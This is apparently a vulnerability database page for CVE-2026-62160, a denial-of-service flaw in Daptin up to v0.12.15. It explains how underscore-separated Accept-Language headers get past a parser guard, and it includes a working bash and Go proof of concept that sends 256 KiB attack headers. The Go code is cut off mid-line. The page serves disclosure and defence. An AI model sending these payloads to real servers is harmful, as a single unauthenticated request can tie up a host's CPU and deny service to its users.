Daptin: Uncontrolled Resource Consumption (CVE-2026-62160)
Published Sources: OSV, Hersteller
What is affected, what to do
The available sources name no fixed version. Check the vendor guidance in the references below.
- Affected
- Daptin
*..<= 0.12.15
- Daptin
Not sure whether and how you are affected? Ask a question about this vulnerability
Metrics
—
Priority
No value is available for this vulnerability.
—
CVSS v3
No value is available for this vulnerability.
—
EPSS score
No value is available for this vulnerability.
Show all metrics
- Severity
- Not rated
Priority (0–325)
The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?
Read in glossary- 30.00 Methodology
Exploit maturity
An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.
Read in glossary- no public PoC known
KEV status
The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.
Read in glossary- —
- Published
CWE
CWE is a catalogue of typical weakness types in software and hardware — such as flawed input validation, unsafe memory handling or poor authentication. Where a CVE names a concrete vulnerability in a concrete product, a CWE describes the underlying class of defect.
Read in glossary- CWE-400
Detection rules
No NEOSEC detection rule is available for this vulnerability yet.
Classification under NIS2 and CRA
Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.
NIS2
NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.
Read in glossary- Handle the vulnerability in regular vulnerability handling under Art. 21(2)(e) NIS2.
CRA
The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.
Read in glossary- From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
ISO/IEC 27001
ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.
Read in glossary- Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.
Description
Summary
Daptin's LanguageMiddleware (registered as a global gin middleware) calls golang.org/x/text/language.ParseAcceptLanguage on the raw Accept-Language header of every HTTP request without imposing any size or shape filter. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators (only 256 KiB, not even the 1 MiB ceiling) consumes about 27 seconds of server CPU on the host running Daptin. A 1 MiB payload exceeds the 2-minute test client timeout. A single attacker on a 1 Mbit/s uplink can pin an entire Daptin host with one request every 30 seconds.
Affected versions
github.com/daptin/daptin v0.12.15 and (per code inspection of master) all earlier 0.12.x versions that wire LanguageMiddleware on the global gin router without imposing their own size limit on Accept-Language. Verified on:
- the official release binary
daptin-linux-amd64v0.12.15 built into a Docker image from the project's ownDockerfile(E2E below) masterat commitb021ac4ae1f72b7401e851fcf883bc970303c794by readingserver/language.go(the middleware is unchanged)
Privilege required
Unauthenticated. The middleware is registered on the global gin router that serves both the public landing page and the unauthenticated /api style endpoints. Anyone who can reach the HTTP listener (port 8080 by default) is in scope.
Vulnerable code
server/language.go (blob SHA b021ac4ae1f72b7401e851fcf883bc970303c794):
func (lm *LanguageMiddleware) LanguageMiddlewareFunc(c *gin.Context) {
pref := GetLanguagePreference(c.GetHeader("Accept-Language"), lm.defaultLanguage)
c.Request = c.Request.WithContext(context.WithValue(c.Request.Context(), "language_preference", pref))
}
func GetLanguagePreference(header string, defaultLanguage string) []string {
preferredLanguage := header
if preferredLanguage == "" || preferredLanguage == "undefined" || preferredLanguage == "null" {
preferredLanguage = defaultLanguage
}
languageTags, _, err := language.ParseAcceptLanguage(preferredLanguage)
resource.CheckErr(err, "Failed to parse Accept-Language header [%v]", preferredLanguage)
pref := make([]string, 0)
prefMap := make(map[string]bool)
if len(languageTags) == 1 && languageTags[0].String() == defaultLanguage {
// single tag matches default — skip
} else {
for _, tag := range languageTags {
base, conf := tag.Base()
if conf == 0 {
continue
}
if prefMap[base.String()] == true {
continue
}
prefMap[base.String()] = true
pref = append(pref, base.String())
}
}
return pref
}
c.GetHeader("Accept-Language") is the unfiltered HTTP header. Go's default net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Daptin does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.
The resource.CheckErr call on the error path also formats the entire input string into a log line (Failed to parse Accept-Language header [%v]), amplifying the cost on attacker-supplied 256 KiB-1 MiB payloads.
CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 256 KiB header full of 9-character _abcdefghi tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path.
How Accept-Language reaches ParseAcceptLanguage
Every HTTP request that hits the Daptin API server passes through LanguageMiddleware (registered as a global gin middleware). The middleware sequence is:
- The request enters
LanguageMiddlewareFunc. c.GetHeader("Accept-Language")returns the full attacker-supplied header value.GetLanguagePreference(header, defaultLanguage)is called.- The function passes the unfiltered header into
language.ParseAcceptLanguage(preferredLanguage).
No size or character-class filter is applied between (2) and (4). The middleware runs for every gin handler — including the unauthenticated landing page at / and the public API root at /api.
Proof of concept
Single-line bash reproducer that crafts the malicious header and times one request against a fresh Daptin container built from the project's own Dockerfile:
# Build daptin image (uses prebuilt linux/amd64 release binary)
cd daptin
curl -fL -O https://github.com/daptin/daptin/releases/download/v0.12.15/daptin-linux-amd64
chmod +x daptin-linux-amd64
docker build --platform linux/amd64 -t daptin-poc:v0.12.15 .
# Start it
docker run -d --platform linux/amd64 --name daptin --rm -p 18888:8080 daptin-poc:v0.12.15
sleep 8 # wait for sqlite migrations + Olric ring
# Attack with a 256 KiB header (smaller than the default 1 MiB ceiling
# because daptin's per-request cost saturates well below 1 MiB)
PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 25600, end="")')"
echo "header size = ${#PAYLOAD} bytes"
curl -sS -o /dev/null \
-w 'http=%{http_code} t=%{time_total}\n' \
-H "Accept-Language: ${PAYLOAD}" \
http://127.0.0.1:18888/
Each 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).
End-to-end reproduction (against daptin-linux-amd64 v0.12.15)
A Go driver poc.go boots the container, sends a 256 KiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):
// poc.go
package main
import (
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
)
const targetURL = "http://127.0.0.1:18888/"
func buildPayload(sep string, targetBytes int) string {
const tok = "abcdefghi"
var b strings.Builder
b.Grow(targetBytes + 16)
b.WriteString("en")
for b.Len()+1+len(tok) <= targetBytes {
b.WriteString(sep)
b.WriteString(tok)
}
return b.String()
}
func send(label, header string) {
client := &http.Client{
Timeout: 120 * time.Second,
Transport: &http.Transport{
DisableKeepAlives: true,
DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
},
}
req, _ := http.NewRequest("GET", targetURL, nil)
if header != "" {
req.Header.Set("Accept-Language", header)
}
t0 := time.Now()
resp, err := client.Do(req)
dt := time.Since(t0)
if err != nil {
fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err)
return
}
_, _ = io.Copy(io.Discard, resp.Body)
resp.Body.Close()
fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n",
label, len(header),
strings.Count(header, "_"), strings.Count(header, "-"),
resp.StatusCode, dt)
}
func main() {
send("warm-up", "")
send("baseline (no header)", "")
send("baseline (1 short tag)", "en-US")
send("guard-fires ('-' x 256KiB)", buildPayload("-", 256*1024))
send("attack ('_' x 256KiB)", buildPayload("_", 256*1024))
send("attack repeat 2", buildPayload("_", 256*1024))
send("attack repeat 3",
Source: OSV (Open Source Vulnerabilities), GitHub Security Advisories
Affected products
The following versions are affected. Older releases of the same product line are also vulnerable unless stated otherwise.
| Affected versions | Fixed in | ||
|---|---|---|---|
| go | github.com/daptin/daptin |
|
|
Vendors and products
Weakness classes (CWE)
CWE-400Uncontrolled Resource Consumption
Class
The product does not properly control the allocation and maintenance of a limited resource.
Entry at MITRE CWE-400
References & sources
- github.comdaptin/daptin/security/advisories/GHSA-rhj7-vh3v-mcq6web
- github.comdaptin/daptinpackage
Embed badge
Show the severity and KEV status of this vulnerability on your site – with a link back here. The image is updated hourly.
<a href="https://intel.neosec.eu/en/cve/CVE-2026-62160"><img src="https://intel.neosec.eu/badge/cve/CVE-2026-62160.svg?lang=en" alt="CVE-2026-62160 – NEOSEC Intel" height="20"></a>